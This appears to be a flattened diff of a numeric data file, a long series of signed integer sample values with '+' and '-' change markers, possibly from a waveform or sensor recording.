-34 -31 -29 -27 -25 -23 -21 -20 -18 -17 -15 -13 -12 -11 -10 -10 -9 -8 -8 -7 -6 -6 -5 -5 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --90 -119 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -127 -113 -105 -100 -96 -93 -92 -89 -87 -84 -81 76 -71 -67 -62 -57 --36 --97 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --91 --84 --91 --86 --65 --76 --54 --65 --61 --57 --54 --50 --46 --44 --41 --38 --35 --33 --31 --29 --27 --25 --23 --21 --20 --18 --17 --16 --15 --14 --13 --11 --11 --10 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -133 -125 -120 -115 -113 -109 -105 -100 -96 -90 -85 -78 -72 -66 --28 --90 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --96 --89 --97 -123 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -130 -115 -107 -101 -98 -95 -93 -91 -89 -85 -81 -77 -72 -67 -63 -57 -53 -48 -44 -40 -37 -33 -31 -28 -26 -24 -22 -20 -19 -17 -16 -15 -14 -12 -11 -10 -9 -9 -8 -7 -7 -6 -5 -4 -4 -3 -3 -3 --82 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --89 --82 --91 --85 --80 --59 --71 --66 --60 --57 --54 --50 --46 --43 --41 --38 --35 --32 --31 --29 --26 --24 --23 --22 --20 --18 --17 --16 --15 --13 --13 --11 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -124 -119 -115 -113 -108 -105 -100 -95 -90 -85 -78 -73 +74 +70 66 62 57 52 47 -43 -40 +42 +-51 +-112 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +-97 +107 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +114 +101 +92 +86 +82 +80 +78 +75 +74 +70 +67 +62 +58 +53 +48 +42 37 -34 -31 -29 -26 +33 +28 24 -22 -21 -19 +20 18 -17 -16 -14 -14 +15 13 11 -10 9 -8 -7 7 6 -6 -5 -5 4 +3 +1 +0 +-1 +-3 +-4 +-5 +-5 +-6 +-7 +-8 +-9 +-10 +-10 +-11 +-12 +-12 +-14 +-13 +-97 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-104 +-97 +-106 +-101 +-95 +-74 +-85 +-80 +-76 +-72 +-68 -65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --91 --83 --93 --87 --81 +-61 -58 --70 --66 --62 -56 -53 -50 --47 +-48 +-46 -44 +-42 -40 -38 +-36 -35 -33 --31 --29 --27 --25 --23 --22 --20 --19 --17 --16 --15 --13 --12 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -133 -125 -119 -114 -111 -108 -105 -100 -95 -89 -84 -78 -73 -67 -62 -56 -51 -47 -43 -40 -37 -34 -31 -29 -27 -25 -24 -22 -20 -19 -17 -16 -14 -13 -12 -11 -11 -10 -9 -8 -7 -7 -6 -5 -5 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --91 -119 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -128 -115 -106 -100 -97 -93 -92 -89 -87 -83 -80 -75 -71 -66 -61 -57 --36 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --91 --84 --94 --85 --64 --75 --55 --66 --61 --57 --54 --50 --46 --43 --41 --38 --35 --33 --31 --29 --27 --25 --23 --22 --19 --18 --17 --16 --14 --14 --12 --11 --10 --10 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -124 -119 -115 -113 -109 -105 -100 -95 -89 -84 -78 -73 -67 --27 --90 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --95 --88 --97 -123 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -129 -115 -106 -100 -97 -95 -94 -90 -88 -85 -81 -77 -72 -67 -62 -57 --36 --97 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --90 --97 -122 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -129 -115 -107 -101 -98 -95 -92 -89 -86 -83 -81 -76 -71 -67 -62 -57 -52 -47 -43 -39 -36 -33 -31 -28 -26 -24 -22 -20 -19 -17 -17 -15 -14 -14 -12 -11 -10 -9 -8 -7 -7 -6 -5 -5 -4 -3 -3 -3 --82 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --89 --82 --91 --85 --80 --59 --70 --65 --61 --57 --53 --50 --47 --44 --41 --38 --35 -32 --30 --28 --26 --25 --23 --21 --20 --18 --17 --15 --14 --14 --13 --11 --10 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -141 -131 -123 -119 -114 -111 -108 -105 -100 -95 -90 -85 -79 -73 -67 -62 -56 -52 -47 -43 -39 -36 -33 -31 -28 -27 -25 -23 -22 -20 -18 -17 -16 -15 -14 -13 -11 -11 -10 -8 -7 -7 -6 -5 -5 -4 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --96 --89 --82 --92 --86 --81 --59 --71 --66 --61 --57 --53 --50 --46 --43 --40 --37 --35 --33 --30 --28 --26 --24 --23 --21 --20 --18 --17 --16 --15 --14 --13 --11 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -141 -133 -124 -118 -114 -111 -107 -104 -100 -95 -89 -84 -78 -73 -67 -62 -56 -52 -47 -43 -40 -37 -34 -31 -29 -27 -25 -23 -22 -20 -19 -17 -16 -14 -13 -12 -11 -10 -10 -9 -8 -7 -7 -6 -5 -5 -4 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --90 --82 --92 --86 --82 --60 --70 --66 --61 --57 --53 --49 --47 --44 --41 --38 --35 --33 -31 +-30 -29 -27 --25 --23 --21 --20 --19 --17 --15 --15 --14 --13 --11 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -131 -123 -119 -114 -111 -107 +-26 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +109 104 99 -95 +97 +93 90 -84 -78 -73 -67 -62 -56 -51 +85 +80 +75 +70 +64 +58 +52 47 -44 -40 +41 37 -33 -31 +32 28 -26 -24 -22 +25 21 -20 18 -17 16 -15 -14 +13 12 -11 -11 10 -9 -9 -7 -7 7 6 5 -5 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --90 +3 +2 +0 +0 +-2 +-2 +-3 +-4 +-6 +-6 +-7 +-7 +-9 +-10 +-10 +-10 +-10 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-103 -97 --91 --86 +-107 +-101 +-95 +-73 +-85 -81 --59 +-76 +-72 -69 -65 --61 --57 --54 --50 --47 --44 --40 --37 --35 --32 --30 --27 --26 --24 --23 --22 --20 --18 --17 --16 --15 --13 --12 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -141 -131 -123 -119 -116 -112 -108 -104 -100 -95 -89 -83 -78 -72 -66 -61 -56 -51 -47 -44 -40 -37 -34 -31 -29 -27 -25 -23 -21 -20 -19 -17 -15 -14 -13 -12 -11 -10 -9 -9 -8 -7 -6 -6 -5 -5 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --90 --83 --92 --87 --81 --58 --70 --66 -62 --57 +-58 +-56 -53 -50 --47 --44 --40 --38 --36 --33 --30 --28 --26 --25 --23 --21 --21 --19 --18 --16 --15 --14 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -141 -132 -124 -120 -115 -111 -108 -105 -100 -95 -89 -84 -79 -73 -67 -62 -56 -52 -47 -43 -40 -37 -34 -31 -29 -27 -25 -23 -21 -19 -18 -17 -15 -14 -13 -12 -12 -10 -10 -9 -8 -7 -6 -5 -5 -5 -4 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --90 --83 --91 --85 --80 --60 --71 --65 --61 --58 --54 --50 --47 --44 --41 --37 --35 --33 --32 --29 --27 --25 --24 --22 --20 --19 --17 --16 --15 --13 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -141 -131 -124 -119 -115 -111 -107 -105 -100 -95 -90 -84 -78 -73 -67 -62 -56 -52 -47 -44 -40 -37 -33 -31 -29 -27 -25 -23 -21 -20 -18 -17 -15 -14 -14 -13 -12 -11 -10 -9 -8 -8 -7 -6 -5 -5 -4 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --88 --82 --92 --86 --80 --58 --70 --65 --61 --57 --53 --49 --47 +-48 +-45 -43 --40 --38 --35 --33 --30 --28 --27 --25 --23 --21 --20 --19 --17 --16 --15 --14 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -141 -130 -123 -119 -114 -111 -107 -104 -100 -95 -89 -84 -78 -73 -67 -62 -56 -51 -47 -43 -40 -37 -33 -31 -29 -27 -25 -23 -21 -20 -18 -17 -15 -14 -14 -12 -11 -11 -10 -9 -8 -7 -7 -6 -5 -5 -4 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --91 -119 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -128 -114 -106 -99 -95 -93 -91 -89 -86 -83 -79 -75 -71 -66 -61 -55 --37 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --90 --83 --93 --86 --65 --76 --55 --66 --61 --57 --54 --50 --47 --44 -41 -39 --35 --33 --31 --29 --27 --25 --23 --22 --19 --18 --17 --16 --15 --13 --12 --12 --11 --10 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -131 -123 -118 -114 -111 -108 -104 -100 -95 -90 -85 -78 -73 -67 -62 -56 -52 -47 -43 -39 -37 -33 -31 -28 -26 -24 -22 -21 -20 -18 -17 -15 -14 -13 -12 -11 -10 -9 -9 -7 -7 -5 -4 -3 -3 -3 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --89 --82 --91 --85 --80 --59 --70 --66 --62 --57 --53 --49 --46 --43 --40 --37 --35 --33 --31 --29 --27 --25 --23 --21 --20 --18 --17 --16 --15 --14 --13 --11 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -141 -130 -123 -118 -113 -111 -108 -104 -99 -95 -90 -85 -79 -73 -66 -61 -56 -51 -47 -43 -40 -37 -34 -31 -29 -27 -25 -23 -21 -20 -18 -17 -15 -14 -13 -11 -11 -10 -9 -8 -7 -6 -6 -6 -6 -5 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --89 --82 --92 --86 --81 --60 --70 --66 --61 --57 --53 --49 --46 --43 --40 --37 --35 --33 --31 --29 --27 --25 --22 --21 --19 --18 --18 --16 --15 --14 --13 --13 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -141 -133 -124 -118 -114 -111 -108 -104 -99 -95 -89 -85 -79 -73 -67 -62 -56 -52 -47 -44 -40 -37 -34 -31 -29 -27 -24 -23 -21 -19 -18 -17 -15 -15 -14 -13 -11 -11 -9 -8 -8 -7 -6 -5 -5 -4 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --90 -119 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -127 -114 -106 -99 -96 -93 -92 -89 -87 -83 -80 -76 -71 -67 -62 -57 --36 --97 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --89 --82 --93 --87 --64 --75 --55 --66 --62 --57 --54 --50 --47 --43 --41 -38 -36 --33 --31 --29 --27 --25 --23 --21 --20 --18 --17 --16 --14 --14 --13 --12 --11 --10 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -141 -133 -123 -118 -114 -111 -107 -105 -100 -95 -90 -85 -79 -73 -67 -61 -56 -51 -47 -43 -39 -36 -34 -31 -29 -27 -25 -23 -21 -20 -18 -17 -16 -15 -13 -13 -11 -11 -9 -9 -8 -7 -6 -6 -5 -5 -4 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --91 --84 --94 --85 --80 --59 --71 --65 --61 --57 --54 --50 --46 --43 --41 --38 -35 -33 --31 --28 --26 --24 --22 --21 --20 --18 --17 --16 --15 --13 --12 --11 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -131 -123 -119 -114 -111 -108 -104 -100 -95 -89 -85 -79 -73 -67 -62 -57 -52 -47 -44 -40 -37 -33 -31 -29 -27 -25 -23 -21 -20 -18 -17 -16 -15 -13 -13 -11 -10 -10 -9 -8 -7 -6 -6 -5 -5 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --96 --89 --82 --91 --85 --80 --59 --70 --65 --61 --57 --53 --50 --46 --43 --41 --38 --35 --33 --31 --29 --26 --25 --23 --21 --20 --18 --17 --16 --15 --14 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -133 -125 -119 -115 -111 -108 -105 -100 -96 -90 -84 -79 -73 -67 -62 -56 -52 -47 -43 -40 -36 -33 -31 -28 -27 -25 -23 -22 -20 -18 -17 -15 -15 -13 -12 -11 -10 -9 -9 -8 -7 -6 -6 -5 -5 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --89 --82 --92 --86 --80 --59 --70 --65 --61 --57 --53 --50 --47 --43 --41 --37 --35 --33 --30 --29 --26 --24 --23 --21 --19 --18 --17 --16 --15 --14 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -131 -124 -118 -114 -111 -108 -104 -99 -95 -89 -84 -79 -73 -67 --27 --89 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --89 --97 -123 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -129 -115 -107 -100 -97 -95 -94 -91 -89 -85 -81 -77 -72 -67 -62 -57 --35 --97 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --89 --82 -123 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -130 -117 -107 -101 -97 -95 -93 -91 -89 -85 -81 -77 -73 -67 -63 -57 -52 -47 -43 -39 -36 -33 -30 -27 -26 -24 -22 -21 -20 -18 -17 -15 -14 -13 -12 -11 -10 -9 -9 -8 -7 -7 -5 -5 -4 -4 -3 -3 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --96 --89 --82 --92 --85 --80 --59 --71 --66 --61 --57 --54 --50 --46 --43 --41 --38 --35 --33 --31 --28 --26 --25 --23 --21 --19 --18 --17 --16 --15 --13 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -124 -119 -115 -112 -108 -104 -100 -95 -89 -84 -79 -73 -68 -62 -57 -52 -47 -44 -40 -37 -33 -31 -28 -26 -24 -23 -21 -20 -18 -17 -15 -15 -13 -12 -11 -10 -9 -8 -7 -7 -6 -6 -5 -5 -4 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --95 --89 --82 --91 --86 --80 --59 --70 --65 --61 --57 --53 --50 --47 --44 --40 --37 --35 --33 --30 --29 --27 --25 --23 --21 --20 --18 --17 --16 --15 --14 --13 --11 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -131 -123 -118 -114 -111 -108 -105 -100 -95 -90 -85 -79 -73 -67 -62 -56 -51 -47 -43 -40 -37 -33 -31 -29 -27 -25 -23 -22 -20 -19 -17 -16 -15 -13 -12 -11 -10 -9 -9 -8 -7 -7 -6 -6 -5 -5 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --96 --89 -117 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -127 -113 -105 -100 -96 -93 -91 -89 -87 -84 -80 -75 -71 -66 -61 -56 --37 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --89 --82 --91 --86 --64 --75 --54 --66 --61 --58 --54 --50 --46 --43 --41 --38 --35 --33 --31 --29 --27 --25 --24 --22 --20 --18 --17 --16 --14 --13 --12 --11 --11 --10 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -131 -123 -118 -114 -111 -108 -105 -100 -95 -90 -84 -78 -73 -67 -61 -56 -52 -47 -44 -40 -37 -34 -31 -29 -28 -25 -24 -22 -20 -18 -17 -16 -14 -13 -13 -11 -10 -9 -8 -7 -7 -6 -5 -5 -5 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --90 --83 --91 --86 --80 --59 --70 --65 --61 --57 --52 --50 --46 --43 --41 --38 --35 --33 --30 --28 --26 --25 --23 --21 --20 --19 --17 --16 --15 --14 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -123 -118 -114 -111 -109 -104 -98 -95 -89 -83 -78 -73 -67 -62 -56 -51 -47 -43 -40 -37 -34 -31 -29 -27 -25 -23 -22 -20 -18 -17 -16 -15 -14 -12 -11 -11 -10 -9 -8 -7 -6 -5 -5 -4 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --89 --97 --92 --86 --81 --58 --70 --66 --62 --57 --53 --50 --47 --44 --40 --37 --35 --33 --30 --28 --26 --25 --23 --21 --20 --19 --17 --15 --15 --13 --13 --11 --10 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -130 -123 -119 -115 -111 -107 -104 -99 -95 -90 -85 -78 -73 -67 -62 -57 -52 -47 -44 -40 -37 -34 -32 -29 -27 -25 -23 -22 -20 -18 -17 -15 -14 -13 -12 -11 -10 -9 -9 -8 -7 -7 -6 -5 -5 -4 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --89 --82 --93 --88 --81 --59 --71 --51 --62 --57 --54 --50 --47 --43 --40 --38 --36 --33 --30 --28 --27 --25 --23 --22 --21 --19 --17 --16 --16 --14 --12 --11 --10 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -123 -119 -115 -112 -109 -105 -100 -95 -90 -85 -78 -72 -66 --28 --90 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --87 --82 -123 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -130 -117 -108 -101 -97 -95 -93 -91 -88 -84 -81 -77 -72 -67 -62 -57 -52 -47 -44 -40 -36 -33 -31 -28 -26 -23 -22 -20 -19 -17 -16 -15 -14 -13 -12 -11 -10 -9 -8 -7 -7 -6 -6 -5 -5 -4 -4 -3 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --90 -116 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -128 -114 -106 -99 -96 -93 -91 -89 -87 -83 -80 -75 -71 -65 -61 -56 --37 --97 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --89 --82 --92 --86 --65 --75 --53 --66 --61 --57 --53 --50 --47 --44 --41 --39 --36 --34 --31 --28 --27 --25 --22 --21 --20 --19 --17 --16 --15 --14 --13 --12 --11 --10 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -125 -119 -115 -112 -108 -105 -101 -96 -90 -85 -79 -73 -67 -61 -56 -51 -47 -44 -40 -36 -33 -31 -29 -27 -25 -23 -21 -20 -19 -17 -15 -14 -13 -12 -11 -10 -9 -9 -7 -7 -6 -5 -5 -5 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --88 --82 --92 --86 --81 --59 --70 --66 --62 --58 --54 --51 --47 --43 --41 --38 --35 --33 --31 --29 --27 --24 --23 --21 --19 --18 --17 --16 --14 --13 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -131 -123 -117 -114 -112 -107 -104 -99 -95 -90 -85 -79 -73 -67 -62 -57 -52 -47 -43 -40 -37 -34 -31 -28 -27 -25 -23 -21 -19 -17 -17 -15 -14 -13 -12 -11 -10 -9 -8 -7 -6 -6 -5 -5 -4 -4 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --90 --83 --93 --87 --80 --58 --70 --66 --61 --57 --53 --50 --47 --44 --41 --38 --35 --33 --31 --28 --27 --25 --23 --22 --20 --19 --18 --17 --15 --13 --12 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -141 -131 -123 -118 -114 -113 -108 -104 -99 -95 -89 -85 -78 -73 -67 --27 --90 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --96 --88 --96 -124 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -131 -115 -107 -101 -98 -95 -94 -90 -88 -84 -81 -76 -72 -66 -62 -56 --36 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --96 --89 --83 -124 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -130 -117 -109 -101 -97 -95 -93 -91 -88 -84 -81 -76 -72 -67 -62 -57 -52 -47 -44 -40 -36 -33 -31 -28 -26 -24 -23 -21 -19 -17 -17 -15 -14 -13 -12 -11 -10 -9 -8 -8 -7 -6 -5 -5 -4 -3 -3 -3 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --91 --83 --91 --86 --81 --60 --70 --65 --62 --58 --53 --50 --47 --44 --41 --37 --35 --33 --31 --28 --26 --25 --23 --21 --19 --18 --18 --16 --15 --14 --13 --12 --10 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -124 -119 -114 -111 -107 -104 -99 -95 -90 -84 -78 -73 -67 -62 -56 -51 -46 -43 -39 -36 -33 -30 -28 -27 -25 -23 -22 -20 -18 -17 -15 -14 -13 -12 -11 -10 -10 -9 -8 -7 -6 -6 -6 -5 -4 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --90 --83 --93 --86 --80 --59 --71 --66 --60 --57 --53 --50 --46 --43 --40 --38 --35 -32 -31 --29 --26 --24 --23 --21 --20 --18 --17 --16 --15 --13 --13 --13 --12 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -131 -124 -118 -114 -111 -107 -103 -99 -95 -90 -84 -78 -73 -67 -62 -56 -51 -47 -43 -40 -37 -33 -31 -28 -26 -24 -22 -21 -20 -18 -17 -15 -14 -13 -12 -11 -10 -9 -8 -7 -7 -6 -5 -5 -5 -4 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --89 --82 --92 --87 --81 --59 --70 --66 --62 --57 --53 --50 --47 --43 --40 --38 --36 --33 --31 +-30 +-28 -28 -27 --25 --23 --21 --20 --19 --17 --15 --16 --15 --14 --11 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -124 -119 -115 -112 -108 -104 